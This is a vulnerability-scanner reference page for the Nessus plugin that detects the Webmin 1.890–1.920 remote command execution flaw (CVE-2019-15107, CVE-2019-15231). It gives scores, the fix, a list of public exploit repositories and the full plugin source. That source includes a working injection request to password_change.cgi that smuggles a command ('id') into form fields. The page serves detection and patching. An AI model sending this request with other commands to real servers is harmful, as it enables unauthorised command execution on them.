Webmin 1.890 - 1.920 Remote Command Execution (CVE-2019-15107, CVE-2019-15231) - Nessus

Critical   Plugin ID: 127911

This page contains detailed information about the Webmin 1.890 - 1.920 Remote Command Execution (CVE-2019-15107, CVE-2019-15231) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 127911
Name: Webmin 1.890 - 1.920 Remote Command Execution (CVE-2019-15107, CVE-2019-15231)
Filename: webmin_1_890_rce.nasl
Vulnerability Published: 2019-08-10
This Plugin Published: 2019-08-19
Last Modification Time: 2022-03-28
Plugin Version: 1.6
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: webmin.nasl
Required KB Items [?]: www/webmin

Vulnerability Information


Severity: Critical
Vulnerability Published: 2019-08-10
Patch Published: 2019-08-17
CVE [?]: CVE-2019-15107, CVE-2019-15231
CPE [?]: cpe:/a:webmin:webmin

Synopsis

The remote web server is affected by a remote command execution vulnerability.

Description

The Webmin install hosted on the remote host is affected by a remote command execution vulnerability. A remote, unauthenticated attacker and exploit this to execute arbitrary commands on the remote host.

Solution

Update to webmin 1.930 or later.

Public Exploits


Target Network Port(s): 10000
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Webmin 1.890 - 1.920 Remote Command Execution (CVE-2019-15107, CVE-2019-15231) vulnerability:

  1. Metasploit: exploit/linux/http/webmin_backdoor
    [Webmin password_change.cgi Backdoor]
  2. Exploit-DB: exploits/linux/webapps/47293.sh
    [EDB-47293: Webmin 1.920 - Remote Code Execution]
  3. GitHub: https://github.com/0xaniketB/TryHackMe-Wreath
    [CVE-2019-15107]
  4. GitHub: https://github.com/3gstudent/Homework-of-Python
    [CVE-2019-15107]
  5. GitHub: https://github.com/Mr-xn/Penetration_Testing_POC
    [CVE-2019-15107]
  6. GitHub: https://github.com/MuirlandOracle/CVE-2019-15107
    [CVE-2019-15107]
  7. GitHub: https://github.com/Pichuuuuu/CVE-2019-15107
    [CVE-2019-15107]
  8. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2019-15107]
  9. GitHub: https://github.com/Tuz-Wwsd/CVE-2019-15107_detection
    [CVE-2019-15107]
  10. GitHub: https://github.com/YeezyTaughtMe1/HTB-Postman
    [CVE-2019-15107]
  11. GitHub: https://github.com/cd6629/Python-scripts
    [CVE-2019-15107]
  12. GitHub: https://github.com/cdedmondson/Modified-CVE-2019-15107
    [CVE-2019-15107]
  13. GitHub: https://github.com/chalern/Pentest-Tools
    [CVE-2019-15107]
  14. GitHub: https://github.com/darrenmartyn/CVE-2019-15107
    [CVE-2019-15107: Something I wrote for CVE-2019-15107, a Webmin backdoor]
  15. GitHub: https://github.com/diegojuan/CVE-2019-15107
    [CVE-2019-15107]
  16. GitHub: https://github.com/f0rkr/CVE-2019-15107
    [CVE-2019-15107]
  17. GitHub: https://github.com/fengjixuchui/RedTeamer
    [CVE-2019-15107]
  18. GitHub: https://github.com/fofapro/vulfocus
    [CVE-2019-15107]
  19. GitHub: https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE
    [CVE-2019-15107]
  20. GitHub: https://github.com/hanc00l/some_pocsuite
    [CVE-2019-15107]
  21. GitHub: https://github.com/ianxtianxt/CVE-2019-15107
    [CVE-2019-15107]
  22. GitHub: https://github.com/jas502n/CVE-2019-15642
    [CVE-2019-15107]
  23. GitHub: https://github.com/lonehand/TIPS
    [CVE-2019-15107]
  24. GitHub: https://github.com/merlin-ke/CVE_2019_15107
    [CVE-2019-15107: POC Code for gaining foothold on a server vulnerable to CVE_2019_15107]
  25. GitHub: https://github.com/n0obit4/Webmin_1.890-POC
    [CVE-2019-15107: CVE-2019-15107 exploit]
  26. GitHub: https://github.com/puckiestyle/CVE-2019-15107
    [CVE-2019-15107]
  27. GitHub: https://github.com/ruthvikvegunta/CVE-2019-15107
    [CVE-2019-15107: Webmin <=1.920 RCE]
  28. GitHub: https://github.com/squid22/Webmin_CVE-2019-15107
    [CVE-2019-15107: CVE-2019–15107 - Unauthenticated RCE Webmin <=1.920]
  29. GitHub: https://github.com/tom0li/collection-document
    [CVE-2019-15107]
  30. GitHub: https://github.com/ugur-ercan/exploit-collection
    [CVE-2019-15107]
  31. GitHub: https://github.com/SlizBinksman/THM-Source-CVE-2019-15231
    [CVE-2019-15231: A write up on the TryHackMe room Source & a python script to exploit the ...]
  32. GitHub: https://github.com/AdministratorGithub/CVE-2019-15107
    [CVE-2019-15107: CVE-2019-15107 webmin python3]
  33. GitHub: https://github.com/AleWong/WebminRCE-EXP-CVE-2019-15107-
    [CVE-2019-15107: Remote Code Execution Vulnerability in Webmin]
  34. GitHub: https://github.com/g0db0x/CVE_2019_15107
    [CVE-2019-15107: CVE_2019_15107 Webmin 1.920 Remote Code Execution Exploit]
  35. GitHub: https://github.com/HACHp1/webmin_docker_and_exp
    [CVE-2019-15107: Dockerfiles for CVE-2019-15107(webmin RCE) recurrence including v1.890 and v1.920 ...]
  36. GitHub: https://github.com/hacknotes/CVE-2019-15107-Exploit
    [CVE-2019-15107: Exploit para CVE-2019-15107 (Webmin 1.890-1.920) sin credenciales RCE escrito en ...]
  37. GitHub: https://github.com/jas502n/CVE-2019-15107
    [CVE-2019-15107: CVE-2019-15107 Webmin RCE (unauthorized)]
  38. GitHub: https://github.com/ketlerd/CVE-2019-15107
    [CVE-2019-15107: Implementation of CVE-2019-15107 exploit in python]
  39. GitHub: https://github.com/Rayferrufino/Make-and-Break
    [CVE-2019-15107: Built a custom Virtual Machine, running Ubuntu 18.04.1 and Webmin 1.810. Using ...]
  40. GitHub: https://github.com/hannob/webminex
    [CVE-2019-15231: poc exploit for webmin backdoor (CVE-2019-15107 and CVE-2019-15231)]
  41. GitHub: https://github.com/ChakoMoonFish/webmin_CVE-2019-15107
    [CVE-2019-15107: Webmin_CVE-2019-15107]
  42. GitHub: https://github.com/hannob/webminex
    [CVE-2019-15107: Poc exploit for webmin backdoor (CVE-2019-15107 and CVE-2019-15231)]
  43. GitHub: https://github.com/whokilleddb/CVE-2019-15107
    [CVE-2019-15107: CVE-2019-15107 Webmin Exploit in C]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2019-15107
CVSS V2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:H/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.7 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.7 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C
CVSS Base Score:9.8 (Critical)
Impact Subscore:5.9
Exploitability Subscore:3.9
CVSS Temporal Score:9.4 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.4 (Critical)

Go back to menu.

Plugin Source


This is the webmin_1_890_rce.nasl nessus plugin source code. This script is Copyright (C) 2019-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(127911);
  script_version("1.6");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/03/28");

  script_cve_id("CVE-2019-15107", "CVE-2019-15231");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");

  script_name(english:"Webmin 1.890 - 1.920 Remote Command Execution (CVE-2019-15107, CVE-2019-15231)");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a remote command execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Webmin install hosted on the remote host is affected by a remote command execution vulnerability. A remote,
unauthenticated attacker and exploit this to execute arbitrary commands on the remote host.");
  script_set_attribute(attribute:"see_also", value:"http://www.webmin.com/changes.html");
  script_set_attribute(attribute:"solution", value:
"Update to webmin 1.930 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-15107");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Webmin password_change.cgi Backdoor');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/08/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/08/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/08/19");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:webmin:webmin");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2019-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("webmin.nasl");
  script_require_keys("www/webmin");
  script_require_ports("Services/www", 10000);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

app = 'Webmin';

port = get_http_port(default:10000, embedded: TRUE);

get_kb_item_or_exit('www/'+port+'/webmin');

install_url = build_url(port:port, qs:"/");

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";

item = "/password_change.cgi";
data = "user=root&pam&expired=2|" + cmd + "&old=nessus|" + cmd + "&new1=nessus&new2=nessus";

res = http_send_recv3(
  method:"POST",
  port:port,
  item:"/password_change.cgi",
  add_headers:make_array('Referer', install_url),
  data: data,
  exit_on_fail: TRUE
);

if (res[2] !~ cmd_pat)
  audit(AUDIT_LISTEN_NOT_VULN, app, port);

result = data_protection::sanitize_uid(output:res[2]);

report += 'The following request was sent to the server :\n\n';
report += crap(data:"=", length:70)+'\n';
report += http_last_sent_request()+'\n';
report += crap(data:"=", length:70)+'\n\n';
report += 'Which returned the following result : \n\n';
report += res[0] + res[1] + result;

security_report_v4(
  port: port,
  severity: SECURITY_HOLE,
  extra: report
);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/webmin_1_890_rce.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\webmin_1_890_rce.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/webmin_1_890_rce.nasl

Go back to menu.

How to Run


Here is how to run the Webmin 1.890 - 1.920 Remote Command Execution (CVE-2019-15107, CVE-2019-15231) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Webmin 1.890 - 1.920 Remote Command Execution (CVE-2019-15107, CVE-2019-15231) plugin ID 127911.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl webmin_1_890_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a webmin_1_890_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - webmin_1_890_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state webmin_1_890_rce.nasl -t <IP/HOST>

Go back to menu.

References


See also: Similar and related Nessus plugins:
  • 127954 - FreeBSD : webmin -- unauthenticated remote code execution (ece65d3b-c20c-11e9-8af4-bcaec55be5e5)
  • 128280 - Webmin < 1.930 Remote Code Execution Vulnerability
  • 108549 - Webmin < 1.250 miniserv.pl Remote Code Execution
  • 21785 - Webmin 'miniserv.pl' Arbitrary File Disclosure
  • 117602 - Webmin <= 1.590 Multiple Vulnerabilities
  • 146488 - Webmin <= 1.910 Remote Command Execution
  • 146495 - Webmin < 1.970 Multiple Vulnerabilities
  • 20343 - Webmin 'miniserv.pl' 'username' Parameter Format String
  • 146531 - Webmin <= 1.941 Multiple Vulnerabilities
  • 22908 - Debian DSA-1199-1 : webmin - multiple vulnerabilities
  • 21789 - FreeBSD : webmin, usermin -- arbitrary file disclosure vulnerability (227475c2-09cb-11db-9156-000e0c2e438a)
  • 21504 - FreeBSD : perl, webmin, usermin -- perl format string integer wrap vulnerability (bb33981a-7ac6-11da-bf72-00123f589060)
  • 20281 - GLSA-200512-02 : Webmin, Usermin: Format string vulnerability
  • 22169 - GLSA-200608-11 : Webmin, Usermin: File Disclosure
  • 20454 - Mandrake Linux Security Advisory : webmin (MDKSA-2005:223)
  • 23876 - Mandrake Linux Security Advisory : webmin (MDKSA-2006:125)
  • 73066 - Mandriva Linux Security Advisory : webmin (MDVSA-2014:062)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file webmin_1_890_rce.nasl version 1.6. For more plugins, visit the Nessus Plugin Library.

Go back to menu.